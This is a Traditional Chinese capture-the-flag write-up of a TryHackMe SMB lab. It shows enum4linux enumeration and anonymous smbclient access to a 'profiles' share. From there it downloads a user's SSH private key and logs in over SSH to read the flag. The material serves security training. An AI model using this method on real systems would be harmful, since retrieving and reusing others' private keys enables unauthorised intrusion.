TryHackMe Network Services 1 (SMB) writeup (zh-TW)
說明: 這一個房間分成幾個部分,所以筆者希望分別記錄資訊~
📋 目標資訊
- Target IP:
10.201.x.x - 服務: SMB (Samba on Ubuntu)
- 目標: 透過 SMB 錯誤配置取得系統存取權限
1. SMB 服務枚舉
使用 enum4linux 進行完整枚舉:
enum4linux -a 10.201.15.179
關鍵發現:
系統資訊
- 主機名稱:
POLOSMB - 作業系統:
Samba, Ubuntu - 工作群組:
WORKGROUP
共享資源列表
Sharename Type Comment
--------- ---- -------
netlogon Disk Network Logon Service
profiles Disk Users profiles ⬅️ 可疑!
print$ Disk Printer Drivers
IPC$ IPC IPC Service
存取權限測試
//10.201.15.179/profiles Mapping: OK Listing: OK Writing: N/A
✅ profiles 共享允許匿名存取!
密碼政策
Minimum password length: 5
Password Complexity: Disabled
Account Lockout Threshold: None
⚠️ 密碼政策非常寬鬆
2. 匿名存取 SMB 共享
使用 smbclient 以匿名身份連線:
smbclient //10.201.15.179/profiles -U Anonymous -N
列出共享內容:
smb: \> ls
發現重要檔案:
- 📄
Working From Home Information.txt- 包含使用者資訊 - 📁
.ssh/- SSH 金鑰目錄
3. 取得敏感資料
下載文字檔案:
smb: \> get "Working From Home Information.txt"
進入 .ssh 目錄並下載私鑰:
smb: \> cd .ssh
smb: \.ssh\> ls
smb: \.ssh\> get id_rsa
smb: \.ssh\> exit
4. 分析下載的檔案
查看文字檔內容(應該會顯示使用者名稱為 cactus):
cat "Working From Home Information.txt"
設定 SSH 私鑰權限:
chmod 600 id_rsa
5. SSH 登入
使用取得的 SSH 私鑰登入:
ssh -i id_rsa [email protected]
成功登入!
Welcome to Ubuntu 20.04.6 LTS
cactus@POLOSMB:~$
6. 取得 Flag
cactus@POLOSMB:~$ ls
smb.txt
cactus@POLOSMB:~$ cat smb.txt
THM{Redacted}
技術要點總結
- ✅
enum4linux- SMB 枚舉 - ✅
smbclient- SMB 客戶端存取 - ✅ SSH 金鑰認證
- ✅ Linux 檔案權限管理
Member discussion